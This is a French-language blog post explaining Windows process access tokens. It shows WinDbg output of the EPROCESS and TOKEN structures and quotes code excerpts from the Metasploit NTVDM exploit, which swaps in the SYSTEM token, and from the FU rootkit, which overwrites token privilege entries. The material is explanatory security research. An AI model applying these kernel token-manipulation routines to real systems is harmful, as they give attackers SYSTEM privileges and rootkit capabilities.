Manipulation des jetons des processus sous Windows

Introduction

Dans l’article sur metasploit publié ce mois dans le magasine MISC, nous décrivons brièvement la méthode d’élévation de privilèges utilisée par l’exploit ntvdm du module priv du meterpreter. Nous allons ici entrer plus en détails dans la manipulation des jetons d’accès.

Jetons et privilèges

Les jetons d’accès sont des objets, gérés par le kernel, qui contiennent les informations relatives aux droits d’un processus. Etant dérivés du jeton de l’utilisateur connecté, ils contiennent le SID (Secure IDentifier) de ce dernier ainsi que son logon SID. Un tableau des privilèges accordés au processus permet au système d’autoriser ou non certaines actions.
L’outil processexplorer liste les privilèges pour un processus donné:


Le champ Token de la structure EPROCESS (représentation d’un processus du coté ring0) contient un pointeur vers une structure EX_FAST_REF qui référence le jeton. Etudions ces structures à l’aide de windbg:

[sourcecode language=”powershell”]
lkd> !process 0 0 cmd.exe
PROCESS 820d78d8  SessionId: 0  Cid: 05cc    Peb: 7ffdf000  ParentCid: 064c    DirBase: 0a6402c0  ObjectTable: e20c5870  HandleCount:  30.    Image: cmd.exe

lkd> dt nt!_eprocess 0x820d78d8

+0x000 Pcb              : _KPROCESS

+0x06c ProcessLock      : _EX_PUSH_LOCK

+0x070 CreateTime       : _LARGE_INTEGER 0x1cb649c`97a9a2c6

+0x0bc DebugPort        : (null)
+0x0c0 ExceptionPort    : 0xe17aae10

+0x0c4 ObjectTable      : 0xe20c5870 _HANDLE_TABLE

+0x0c8 Token            : _EX_FAST_REF
+0x0cc WorkingSetLock   : _FAST_MUTEX

+0x258 Cookie           : 0x961c22aa

lkd> dt nt!_ex_fast_ref 820d78d8+@@c++(#FIELD_OFFSET(nt!_eprocess, Token))
+0x000 Object           : 0xe10f2d4d

+0x000 RefCnt           : 0y101

+0x000 Value            : 0xe10f2d4d

[/sourcecode]

Du fait de l’alignement sur 8 bits un masque avec 0xfffffff8 doit être effectué afin d’obtenir l’adresse exacte de la structure Token correspondante.

[sourcecode language=”powershell”]
lkd> dt nt!_Token @@(0xe10f2d4d & 0xfffffff8)

+0x000 TokenSource      : _TOKEN_SOURCE

+0x054 PrivilegeCount   : 0x14

+0x074 Privileges       : 0xe10f2de8 _LUID_AND_ATTRIBUTES

+0x078 DynamicPart      : 0xe20ee440  -> 0x501

+0x07c DefaultDacl      : 0xe20ee45c _ACL

+0x080 TokenType        : 1 ( TokenPrimary )

+0x0a0 VariablePart     : 0x17

[/sourcecode]

Les privilèges sont représentés par un tableau, de taille PrivilegeCount, contenant des LUID (identifiant unique sur un système donné) et les attributs indiquant l’état de ces privilèges:

  • désactivé
  • activé par défaut
  • activé

Le passage d’un LUID à une représentation compréhensible (ex: la chaîne “SeDebugPrivilege”) se fait via la fonction advapi32!LookupPrivilegeName.

[sourcecode language=”powershell”]
lkd> dt -cra20 nt!_luid_and_attributes 0xe10f2de8

[0] @ e10f2de8 +0x000 Luid _LUID  +0x000 LowPart 0x17  +0x004 HighPart 0    +0x008 Attributes 3

[1] @ e10f2df4 +0x000 Luid _LUID +0x000 LowPart 8  +0x004 HighPart 0    +0x008 Attributes 0…

[/sourcecode]

Manipulations

Remplacement des jetons

L’exploit NTVDM utilisé par metasploit élève les privilèges du processus contenant le meterpreter en remplaçant le jeton par celui lié au processus csrss.exe (exécuté en tant que LOCAL SYSTEM).

Les fonctions nt!PsLookupProcessByProcessId et nt!PsReferencePrimaryToken donnent accès aux deux jetons. L’offset correspondant au champ Token étant différent entre différentes version de Windows, cet exploit recherche la première occurence du jeton actuel dans la structure EPROCESS et la remplace.

Extrait du code:

[sourcecode language=”cpp”]
// Find the EPROCESS structure for the process I want to escalate
if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
PACCESS_TOKEN SystemToken; PACCESS_TOKEN TargetToken;
// What’s the maximum size the EPROCESS structure is ever likely to be?
CONST DWORD MaxExpectedEprocessSize = 0x200;
// Find the Token object for my target process, and the SYSTEM process.
TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);

// Find the token in the target process, and replace with the system token.
[…]
// Scan the structure for any occurrence of CurrentValue.
for (i = 0; i < MaxSize; i++) {
if ((Structure[i] & Mask) == CurrentValue) {
// And finally, replace it with NewValue.
Structure[i] = NewValue;
return TRUE;
}
}
[…]

[/sourcecode]

Ajout de privilèges

Afin d’ajouter des privilèges à un processus, il est également possible de modifier la table des LUID. Cette table à taille variable étant contigue en mémoire avec la suite de la structure Token, il est impossible de modifier sa taille pour ajouter des privilèges. La solution consiste à activer un LUID désactivé si ce dernier est déjà présent dans la table, ou écraser le LUID et l’Attribut d’un privilège désactivé.

Le rootkit FU utilise cette méthode afin d’ajouter des privilèges à un processus donné:

[sourcecode language=”cpp”]
eproc = FindProcessEPROC(find_PID);
if (eproc == 0x00000000) {
IoStatus->Status = STATUS_INVALID_PARAMETER;
break;
}
token = FindProcessToken(eproc);
i_PrivCount     = *(PDWORD)(token + PRIVCOUNTOFFSET);
luids_attr_orig = *(PLUID_AND_ATTRIBUTES *)(token + PRIVADDROFFSET);
// If the new privilege already exists in the token, just change its Attribute field.
for (luid_attr_count = 0; luid_attr_count < i_PrivCount; luid_attr_count++) {
for (i_LuidsUsed = 0; i_LuidsUsed < nluids; i_LuidsUsed++) {
if((luids_attr[i_LuidsUsed].Attributes != 0xffffffff) && (memcmp(&luids_attr_orig[luid_attr_count].Luid, &luids_attr[i_LuidsUsed].Luid, sizeof(LUID)) == 0)) {
luids_attr_orig[luid_attr_count].Attributes = luids_attr[i_LuidsUsed].Attributes;
luids_attr[i_LuidsUsed].Attributes = 0xffffffff; // Canary value we will use
}
}
}
// OK, we did not find one of the new Privileges in the set of existing privileges so we are going to find the
// disabled privileges and overwrite them.
for (i_LuidsUsed = 0; i_LuidsUsed < nluids; i_LuidsUsed++) {
if (luids_attr[i_LuidsUsed].Attributes != 0xffffffff) {
for (luid_attr_count = 0; luid_attr_count < i_PrivCount; luid_attr_count++) {
// If the privilege was disabled anyway, it was not necessary and we are going to reuse this space for our
// new privileges we want to add. Not all the privileges we request may get added because of space so you
// should order the new privileges in decreasing order.
if((luids_attr[i_LuidsUsed].Attributes != 0xffffffff) && (luids_attr_orig[luid_attr_count].Attributes == 0x00000000)) {
luids_attr_orig[luid_attr_count].Luid       = luids_attr[i_LuidsUsed].Luid;
luids_attr_orig[luid_attr_count].Attributes = luids_attr[i_LuidsUsed].Attributes;
luids_attr[i_LuidsUsed].Attributes          = 0xffffffff; // Canary value we will use
}
}
}
}
[/sourcecode]

Nous n’avons présenté ici que deux méthodes pour modifier les jetons depuis du code exécuté en ring0. Il en existe d’autres et les code sources accessibles sur www.rootkit.com sont une bonne source d’informations sur le sujet.

Leave a Reply

Your email address will not be published. Required fields are marked *